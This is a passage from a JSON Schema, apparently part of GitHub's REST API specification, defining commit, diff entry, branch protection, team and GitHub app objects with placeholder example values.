                         \"examples\": [\n                                                \"https://api.github.com/users/octocat/received_events\"\n                                            ]\n                                        },\n                                        \"type\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"User\"\n                                            ]\n                                        },\n                                        \"site_admin\": {\n                                            \"type\": \"boolean\"\n                                        },\n                                        \"starred_at\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                            ]\n                                        }\n                                    },\n                                    \"required\": [\n                                        \"avatar_url\",\n                                        \"events_url\",\n                                        \"followers_url\",\n                                        \"following_url\",\n                                        \"gists_url\",\n                                        \"gravatar_id\",\n                                        \"html_url\",\n                                        \"id\",\n                                        \"node_id\",\n                                        \"login\",\n                                        \"organizations_url\",\n                                        \"received_events_url\",\n                                        \"repos_url\",\n                                        \"site_admin\",\n                                        \"starred_url\",\n                                        \"subscriptions_url\",\n                                        \"type\",\n                                        \"url\"\n                                    ]\n                                }\n                            ]\n                        },\n                        \"parents\": {\n                            \"type\": \"array\",\n                            \"items\": {\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"sha\": {\n                                        \"type\": \"string\",\n                                        \"examples\": [\n                                            \"7638417db6d59f3c431d3e1f261cc637155684cd\"\n                                        ]\n                                    },\n                                    \"url\": {\n                                        \"type\": \"string\",\n                                        \"format\": \"uri\",\n                                        \"examples\": [\n                                            \"https://api.github.com/repos/octocat/Hello-World/commits/7638417db6d59f3c431d3e1f261cc637155684cd\"\n                                        ]\n                                    },\n                                    \"html_url\": {\n                                        \"type\": \"string\",\n                                        \"format\": \"uri\",\n                                        \"examples\": [\n                                            \"https://github.com/octocat/Hello-World/commit/7638417db6d59f3c431d3e1f261cc637155684cd\"\n                                        ]\n                                    }\n                                },\n                                \"required\": [\n                                    \"sha\",\n                                    \"url\"\n                                ]\n                            }\n                        },\n                        \"stats\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"additions\": {\n                                    \"type\": \"integer\"\n                                },\n                                \"deletions\": {\n                                    \"type\": \"integer\"\n                                },\n                                \"total\": {\n                                    \"type\": \"integer\"\n                                }\n                            }\n                        },\n                        \"files\": {\n                            \"type\": \"array\",\n                            \"items\": {\n                                \"title\": \"Diff Entry\",\n                                \"description\": \"Diff Entry\",\n                                \"type\": \"object\",\n                                \"properties\": {\n                                    \"sha\": {\n                                        \"type\": \"string\",\n                                        \"examples\": [\n                                            \"bbcd538c8e72b8c175046e27cc8f907076331401\"\n                                        ]\n                                    },\n                                    \"filename\": {\n                                        \"type\": \"string\",\n                                        \"examples\": [\n                                            \"file1.txt\"\n                                        ]\n                                    },\n                                    \"status\": {\n                                        \"type\": \"string\",\n                                        \"enum\": [\n                                            \"added\",\n                                            \"removed\",\n                                            \"modified\",\n                                            \"renamed\",\n                                            \"copied\",\n                                            \"changed\",\n                                            \"unchanged\"\n                                        ],\n                                        \"examples\": [\n                                            \"added\"\n                                        ]\n                                    },\n                                    \"additions\": {\n                                        \"type\": \"integer\",\n                                        \"examples\": [\n                                            103\n                                        ]\n                                    },\n                                    \"deletions\": {\n                                        \"type\": \"integer\",\n                                        \"examples\": [\n                                            21\n                                        ]\n                                    },\n                                    \"changes\": {\n                                        \"type\": \"integer\",\n                                        \"examples\": [\n                                            124\n                                        ]\n                                    },\n                                    \"blob_url\": {\n                                        \"type\": \"string\",\n                                        \"format\": \"uri\",\n                                        \"examples\": [\n                                            \"https://github.com/octocat/Hello-World/blob/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\"\n                                        ]\n                                    },\n                                    \"raw_url\": {\n                                        \"type\": \"string\",\n                                        \"format\": \"uri\",\n                                        \"examples\": [\n                                            \"https://github.com/octocat/Hello-World/raw/6dcb09b5b57875f334f61aebed695e2e4193db5e/file1.txt\"\n                                        ]\n                                    },\n                                    \"contents_url\": {\n                                        \"type\": \"string\",\n                                        \"format\": \"uri\",\n                                        \"examples\": [\n                                            \"https://api.github.com/repos/octocat/Hello-World/contents/file1.txt?ref=6dcb09b5b57875f334f61aebed695e2e4193db5e\"\n                                        ]\n                                    },\n                                    \"patch\": {\n                                        \"type\": \"string\",\n                                        \"examples\": [\n                                            \"@@ -132,7 +132,7 @@ module Test @@ -1000,7 +1000,7 @@ module Test\"\n                                        ]\n                                    },\n                                    \"previous_filename\": {\n                                        \"type\": \"string\",\n                                        \"examples\": [\n                                            \"file.txt\"\n                                        ]\n                                    }\n                                },\n                                \"required\": [\n                                    \"additions\",\n                                    \"blob_url\",\n                                    \"changes\",\n                                    \"contents_url\",\n                                    \"deletions\",\n                                    \"filename\",\n                                    \"raw_url\",\n                                    \"sha\",\n                                    \"status\"\n                                ]\n                            }\n                        }\n                    },\n                    \"required\": [\n                        \"url\",\n                        \"sha\",\n                        \"node_id\",\n                        \"html_url\",\n                        \"comments_url\",\n                        \"commit\",\n                        \"author\",\n                        \"committer\",\n                        \"parents\"\n                    ]\n                },\n                \"_links\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"html\": {\n                            \"type\": \"string\"\n                        },\n                        \"self\": {\n                            \"type\": \"string\",\n                            \"format\": \"uri\"\n                        }\n                    },\n                    \"required\": [\n                        \"html\",\n                        \"self\"\n                    ]\n                },\n                \"protected\": {\n                    \"type\": \"boolean\"\n                },\n                \"protection\": {\n                    \"title\": \"Branch Protection\",\n                    \"description\": \"Branch Protection\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\"\n                        },\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        },\n                        \"required_status_checks\": {\n                            \"title\": \"Protected Branch Required Status Check\",\n                            \"description\": \"Protected Branch Required Status Check\",\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\"\n                                },\n                                \"enforcement_level\": {\n                                    \"type\": \"string\"\n                                },\n                                \"contexts\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"string\"\n                                    }\n                                },\n                                \"checks\": {\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"properties\": {\n                                            \"context\": {\n                                                \"type\": \"string\"\n                                            },\n                                            \"app_id\": {\n                                                \"type\": [\n                                                    \"integer\",\n                                                    \"null\"\n                                                ]\n                                            }\n                                        },\n                                        \"required\": [\n                                            \"context\",\n                                            \"app_id\"\n                                        ]\n                                    }\n                                },\n                                \"contexts_url\": {\n                                    \"type\": \"string\"\n                                },\n                                \"strict\": {\n                                    \"type\": \"boolean\"\n                                }\n                            },\n                            \"required\": [\n                                \"contexts\",\n                                \"checks\"\n                            ]\n                        },\n                        \"enforce_admins\": {\n                            \"title\": \"Protected Branch Admin Enforced\",\n                            \"description\": \"Protected Branch Admin Enforced\",\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\",\n                                    \"examples\": [\n                                        \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins\"\n                                    ]\n                                },\n                                \"enabled\": {\n                                    \"type\": \"boolean\",\n                                    \"examples\": [\n                                        True\n                                    ]\n                                }\n                            },\n                            \"required\": [\n                                \"url\",\n                                \"enabled\"\n                            ]\n                        },\n                        \"required_pull_request_reviews\": {\n                            \"title\": \"Protected Branch Pull Request Review\",\n                            \"description\": \"Protected Branch Pull Request Review\",\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"url\": {\n                                    \"type\": \"string\",\n                                    \"format\": \"uri\",\n                                    \"examples\": [\n                                        \"https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions\"\n                                    ]\n                                },\n                                \"dismissal_restrictions\": {\n                                    \"type\": \"object\",\n                                    \"properties\": {\n                                        \"users\": {\n                                            \"description\": \"The list of users with review dismissal access.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"Simple User\",\n                                                \"description\": \"A GitHub user.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"name\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"email\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"login\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"octocat\"\n                                                        ]\n                                                    },\n                                                    \"id\": {\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            1\n                                                        ]\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"MDQ6VXNlcjE=\"\n                                                        ]\n                                                    },\n                                                    \"avatar_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/images/error/octocat_happy.gif\"\n                                                        ]\n                                                    },\n                                                    \"gravatar_id\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"41d064eb2195891e12d0413f63227ea7\"\n                                                        ]\n                                                    },\n                                                    \"url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat\"\n                                                        ]\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/octocat\"\n                                                        ]\n                                                    },\n                                                    \"followers_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/followers\"\n                                                        ]\n                                                    },\n                                                    \"following_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/following{/other_user}\"\n                                                        ]\n                                                    },\n                                                    \"gists_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                                        ]\n                                                    },\n                                                    \"starred_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                                        ]\n                                                    },\n                                                    \"subscriptions_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/subscriptions\"\n                                                        ]\n                                                    },\n                                                    \"organizations_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/orgs\"\n                                                        ]\n                                                    },\n                                                    \"repos_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/repos\"\n                                                        ]\n                                                    },\n                                                    \"events_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                                                        ]\n                                                    },\n                                                    \"received_events_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/received_events\"\n                                                        ]\n                                                    },\n                                                    \"type\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"User\"\n                                                        ]\n                                                    },\n                                                    \"site_admin\": {\n                                                        \"type\": \"boolean\"\n                                                    },\n                                                    \"starred_at\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                                        ]\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"avatar_url\",\n                                                    \"events_url\",\n                                                    \"followers_url\",\n                                                    \"following_url\",\n                                                    \"gists_url\",\n                                                    \"gravatar_id\",\n                                                    \"html_url\",\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"login\",\n                                                    \"organizations_url\",\n                                                    \"received_events_url\",\n                                                    \"repos_url\",\n                                                    \"site_admin\",\n                                                    \"starred_url\",\n                                                    \"subscriptions_url\",\n                                                    \"type\",\n                                                    \"url\"\n                                                ]\n                                            }\n                                        },\n                                        \"teams\": {\n                                            \"description\": \"The list of teams with review dismissal access.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"Team\",\n                                                \"description\": \"Groups of organization members that gives permissions on specified repositories.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"id\": {\n                                                        \"type\": \"integer\"\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"name\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"slug\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"description\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"privacy\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"permission\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"permissions\": {\n                                                        \"type\": \"object\",\n                                                        \"properties\": {\n                                                            \"pull\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"triage\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"push\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"maintain\": {\n                                                                \"type\": \"boolean\"\n                                                            },\n                                                            \"admin\": {\n                                                                \"type\": \"boolean\"\n                                                            }\n                                                        },\n                                                        \"required\": [\n                                                            \"pull\",\n                                                            \"triage\",\n                                                            \"push\",\n                                                            \"maintain\",\n                                                            \"admin\"\n                                                        ]\n                                                    },\n                                                    \"url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\"\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/orgs/rails/teams/core\"\n                                                        ]\n                                                    },\n                                                    \"members_url\": {\n                                                        \"type\": \"string\"\n                                                    },\n                                                    \"repositories_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\"\n                                                    },\n                                                    \"parent\": {\n                                                        \"anyOf\": [\n                                                            {\n                                                                \"type\": \"null\"\n                                                            },\n                                                            {\n                                                                \"title\": \"Team Simple\",\n                                                                \"description\": \"Groups of organization members that gives permissions on specified repositories.\",\n                                                                \"type\": \"object\",\n                                                                \"properties\": {\n                                                                    \"id\": {\n                                                                        \"description\": \"Unique identifier of the team\",\n                                                                        \"type\": \"integer\",\n                                                                        \"examples\": [\n                                                                            1\n                                                                        ]\n                                                                    },\n                                                                    \"node_id\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"MDQ6VGVhbTE=\"\n                                                                        ]\n                                                                    },\n                                                                    \"url\": {\n                                                                        \"description\": \"URL for the team\",\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1\"\n                                                                        ]\n                                                                    },\n                                                                    \"members_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1/members{/member}\"\n                                                                        ]\n                                                                    },\n                                                                    \"name\": {\n                                                                        \"description\": \"Name of the team\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"Justice League\"\n                                                                        ]\n                                                                    },\n                                                                    \"description\": {\n                                                                        \"description\": \"Description of the team\",\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ],\n                                                                        \"examples\": [\n                                                                            \"A great team.\"\n                                                                        ]\n                                                                    },\n                                                                    \"permission\": {\n                                                                        \"description\": \"Permission that the team will have for its repositories\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"admin\"\n                                                                        ]\n                                                                    },\n                                                                    \"privacy\": {\n                                                                        \"description\": \"The level of privacy this team should have\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"closed\"\n                                                                        ]\n                                                                    },\n                                                                    \"html_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/orgs/rails/teams/core\"\n                                                                        ]\n                                                                    },\n                                                                    \"repositories_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/organizations/1/team/1/repos\"\n                                                                        ]\n                                                                    },\n                                                                    \"slug\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"justice-league\"\n                                                                        ]\n                                                                    },\n                                                                    \"ldap_dn\": {\n                                                                        \"description\": \"Distinguished Name (DN) that team maps to within LDAP environment\",\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"uid=example,ou=users,dc=github,dc=com\"\n                                                                        ]\n                                                                    }\n                                                                },\n                                                                \"required\": [\n                                                                    \"id\",\n                                                                    \"node_id\",\n                                                                    \"url\",\n                                                                    \"members_url\",\n                                                                    \"name\",\n                                                                    \"description\",\n                                                                    \"permission\",\n                                                                    \"html_url\",\n                                                                    \"repositories_url\",\n                                                                    \"slug\"\n                                                                ]\n                                                            }\n                                                        ]\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"url\",\n                                                    \"members_url\",\n                                                    \"name\",\n                                                    \"description\",\n                                                    \"permission\",\n                                                    \"html_url\",\n                                                    \"repositories_url\",\n                                                    \"slug\",\n                                                    \"parent\"\n                                                ]\n                                            }\n                                        },\n                                        \"apps\": {\n                                            \"description\": \"The list of apps with review dismissal access.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"GitHub app\",\n                                                \"description\": \"GitHub apps are a new way to extend GitHub. They can be installed directly on organizations and user accounts and granted access to specific repositories. They come with granular permissions and built-in webhooks. GitHub apps are first class actors within GitHub.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"id\": {\n                                                        \"description\": \"Unique identifier of the GitHub app\",\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            37\n                                                        ]\n                                                    },\n                                                    \"slug\": {\n                                                        \"description\": \"The slug name of the GitHub app\",\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"probot-owners\"\n                                                        ]\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"MDExOkludGVncmF0aW9uMQ==\"\n                                                        ]\n                                                    },\n                                                    \"owner\": {\n                                                        \"anyOf\": [\n                                                            {\n                                                                \"type\": \"null\"\n                                                            },\n                                                            {\n                                                                \"title\": \"Simple User\",\n                                                                \"description\": \"A GitHub user.\",\n                                                                \"type\": \"object\",\n                                                                \"properties\": {\n                                                                    \"name\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ]\n                                                                    },\n                                                                    \"email\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ]\n                                                                    },\n                                                                    \"login\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"id\": {\n                                                                        \"type\": \"integer\",\n                                                                        \"examples\": [\n                                                                            1\n                                                                        ]\n                                                                    },\n                                                                    \"node_id\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"MDQ6VXNlcjE=\"\n                                                                        ]\n                                                                    },\n                                                                    \"avatar_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/images/error/octocat_happy.gif\"\n                                                                        ]\n                                                                    },\n                                                                    \"gravatar_id\": {\n                                                                        \"type\": [\n                                                                            \"string\",\n                                                                            \"null\"\n                                                                        ],\n                                                                        \"examples\": [\n                                                                            \"41d064eb2195891e12d0413f63227ea7\"\n                                                                        ]\n                                                                    },\n                                                                    \"url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"html_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://github.com/octocat\"\n                                                                        ]\n                                                                    },\n                                                                    \"followers_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/followers\"\n                                                                        ]\n                                                                    },\n                                                                    \"following_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/following{/other_user}\"\n                                                                        ]\n                                                                    },\n                                                                    \"gists_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                                                                        ]\n                                                                    },\n                                                                    \"starred_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                                                                        ]\n                                                                    },\n                                                                    \"subscriptions_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/subscriptions\"\n                                                                        ]\n                                                                    },\n                                                                    \"organizations_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/orgs\"\n                                                                        ]\n                                                                    },\n                                                                    \"repos_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/repos\"\n                                                                        ]\n                                                                    },\n                                                                    \"events_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                                                                        ]\n                                                                    },\n                                                                    \"received_events_url\": {\n                                                                        \"type\": \"string\",\n                                                                        \"format\": \"uri\",\n                                                                        \"examples\": [\n                                                                            \"https://api.github.com/users/octocat/received_events\"\n                                                                        ]\n                                                                    },\n                                                                    \"type\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"User\"\n                                                                        ]\n                                                                    },\n                                                                    \"site_admin\": {\n                                                                        \"type\": \"boolean\"\n                                                                    },\n                                                                    \"starred_at\": {\n                                                                        \"type\": \"string\",\n                                                                        \"examples\": [\n                                                                            \"\\\"2020-07-09T00:17:55Z\\\"\"\n                                                                        ]\n                                                                    }\n                                                                },\n                                                                \"required\": [\n                                                                    \"avatar_url\",\n                                                                    \"events_url\",\n                                                                    \"followers_url\",\n                                                                    \"following_url\",\n                                                                    \"gists_url\",\n                                                                    \"gravatar_id\",\n                                                                    \"html_url\",\n                                                                    \"id\",\n                                                                    \"node_id\",\n                                                                    \"login\",\n                                                                    \"organizations_url\",\n                                                                    \"received_events_url\",\n                                                                    \"repos_url\",\n                                                                    \"site_admin\",\n                                                                    \"starred_url\",\n                                                                    \"subscriptions_url\",\n                                                                    \"type\",\n                                                                    \"url\"\n                                                                ]\n                                                            }\n                                                        ]\n                                                    },\n                                                    \"name\": {\n                                                        \"description\": \"The name of the GitHub app\",\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"Probot Owners\"\n                                                        ]\n                                                    },\n                                                    \"description\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"The description of the app.\"\n                                                        ]\n                                                    },\n                                                    \"external_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://example.com\"\n                                                        ]\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/apps/super-ci\"\n                                                        ]\n                                                    },\n                                                    \"created_at\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"date-time\",\n                                                        \"examples\": [\n                                                            \"2017-07-08T16:18:44-04:00\"\n                                                        ]\n                                                    },\n                                                    \"updated_at\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"date-time\",\n                                                        \"examples\": [\n                                                            \"2017-07-08T16:18:44-04:00\"\n                                                        ]\n                                                    },\n                                                    \"permissions\": {\n                                                        \"description\": \"The set of permissions for the GitHub app\",\n                                                        \"type\": \"object\",\n                                                        \"properties\": {\n                                                            \"issues\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"checks\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"metadata\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"contents\": {\n                                                                \"type\": \"string\"\n                                                            },\n                                                            \"deployments\": {\n                                                                \"type\": \"string\"\n                                                            }\n                                                        },\n                                                        \"additionalProperties\": {\n                                                            \"type\": \"string\"\n                                                        },\n                                                        \"example\": {\n                                                            \"issues\": \"read\",\n                                                            \"deployments\": \"write\"\n                                                        }\n                                                    },\n                                                    \"events\": {\n                                                        \"description\": \"The list of events for the GitHub app\",\n                                                        \"type\": \"array\",\n                                                        \"items\": {\n                                                            \"type\": \"string\"\n                                                        },\n                                                        \"examples\": [\n                                                            \"label\",\n                                                            \"deployment\"\n                                                        ]\n                                                    },\n                                                    \"installations_count\": {\n                                                        \"description\": \"The number of installations associated with the GitHub app\",\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            5\n                                                        ]\n                                                    },\n                                                    \"client_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"Iv1.25b5d1e65ffc4022\\\"\"\n                                                        ]\n                                                    },\n                                                    \"client_secret\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"\\\"1d4b2097ac622ba702d19de498f005747a8b21d3\\\"\"\n                                                        ]\n                                                    },\n                                                    \"webhook_secret\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"\\\"6fba8f2fc8a7e8f2cca5577eddd82ca7586b3b6b\\\"\"\n                                                        ]\n                                                    },\n                                                    \"pem\": {\n                                                        \"type\": \"string\"\n                                                    }\n                                                },\n                                                \"required\": [\n                                                    \"id\",\n                                                    \"node_id\",\n                                                    \"owner\",\n                                                    \"name\",\n                                                    \"description\",\n                                                    \"external_url\",\n                                                    \"html_url\",\n                                                    \"created_at\",\n                                                    \"updated_at\",\n                                                    \"permissions\",\n                                                    \"events\"\n                                                ]\n                                            }\n                                        },\n                                        \"url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"\\\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions\\\"\"\n                                            ]\n                                        },\n                                        \"users_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"\\\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions/users\\\"\"\n                                            ]\n                                        },\n                                        \"teams_url\": {\n                                            \"type\": \"string\",\n                                            \"examples\": [\n                                                \"\\\"https://api.github.com/repos/the-org/an-org-repo/branches/master/protection/dismissal_restrictions/teams\\\"\"\n                                            ]\n                                        }\n                                    }\n                                },\n                                \"bypass_pull_request_allowances\": {\n                                    \"type\": \"object\",\n                                    \"description\": \"Allow specific users, teams, or apps to bypass pull request requirements.\",\n                                    \"properties\": {\n                                        \"users\": {\n                                            \"description\": \"The list of users allowed to bypass pull request requirements.\",\n                                            \"type\": \"array\",\n                                            \"items\": {\n                                                \"title\": \"Simple User\",\n                                                \"description\": \"A GitHub user.\",\n                                                \"type\": \"object\",\n                                                \"properties\": {\n                                                    \"name\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"email\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ]\n                                                    },\n                                                    \"login\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"octocat\"\n                                                        ]\n                                                    },\n                                                    \"id\": {\n                                                        \"type\": \"integer\",\n                                                        \"examples\": [\n                                                            1\n                                                        ]\n                                                    },\n                                                    \"node_id\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            \"MDQ6VXNlcjE=\"\n                                                        ]\n                                                    },\n                                                    \"avatar_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/images/error/octocat_happy.gif\"\n                                                        ]\n                                                    },\n                                                    \"gravatar_id\": {\n                                                        \"type\": [\n                                                            \"string\",\n                                                            \"null\"\n                                                        ],\n                                                        \"examples\": [\n                                                            \"41d064eb2195891e12d0413f63227ea7\"\n                                                        ]\n                                                    },\n                                                    \"url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat\"\n                                                        ]\n                                                    },\n                                                    \"html_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://github.com/octocat\"\n                                                        ]\n                                                    },\n                                                    \"followers_url\": {\n                                                        \"type\": \"string\",\n                                                        \"format\": \"uri\",\n                                                        \"examples\": [\n                                                            \"https://api.github.com/users/octocat/followers\"\n                                                        ]\n                                                    },\n                                                    \"following_url\": {\n                                                        \"type\": \"string\",\n                                                        \"examples\": [\n                                                            